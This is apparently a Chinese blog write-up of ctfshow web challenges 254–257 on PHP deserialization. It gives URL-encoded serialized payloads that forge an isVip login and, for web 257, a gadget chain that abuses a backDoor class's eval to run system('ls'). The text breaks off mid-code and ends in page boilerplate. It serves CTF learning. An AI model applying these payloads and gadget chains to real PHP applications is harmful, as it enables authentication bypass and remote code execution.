ctfshow——反序列化

文章详细描述了一系列PHPweb应用中的安全漏洞,涉及反序列化攻击、对象注入、以及利用SoapClient类进行SSRF。攻击者通过精心构造的GET和POST参数,利用魔术方法和特定的序列化策略来执行恶意代码和访问敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

web 254——啥也没

在这里插入图片描述
在这里插入图片描述
这里就是使用GET传输,username赋值为xxxxxx,password也1赋值为xxxxxx

web 255——反序列化对变量进行赋值(1)

在这里插入图片描述
在这里插入图片描述
代码会对user变量进行反序列化,因此只需要GET传输的变量username和变量password的值与user变量反序列化得到的usernamepassword相等,且反序列化后的isVip等于True就行。
首先对类ctfShowUser进行序列化,PHP序列化和反序列化
在这里插入图片描述
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D,注意需要对user的值进行URL编码。
在这里插入图片描述

web 256——反序列化对变量进行赋值(2)

在这里插入图片描述
在这里插入图片描述
以上一题相比,其实就是反序列化的类中的变量usernamepassword不要相等即可,注意GET传参时也要做修改。payload:

//url
?username=xxxxxx&password=123`

//POST cookie
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web 257——对象注入

在这里插入图片描述
在这里插入图片描述
思路:主要还是利用backDoor类中的eval函数unserialize反序列化后,会自动调用__construct()魔术方法,让__construct()魔术方法直接$this->class=new backdoor(),然后销毁类ctfShowUser时,就会自动调用 backdoor中的getInfo函数,同时我们可以在序列化的时候赋值code=$code='system("ls");',这样就能执行系统命令了。

得到序列化数据payLoad:

class ctfShowUser{
   
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
   
        $this->class=new backDoor();
    }
    public function login($u,$p){
   
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
   
        $this->class
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值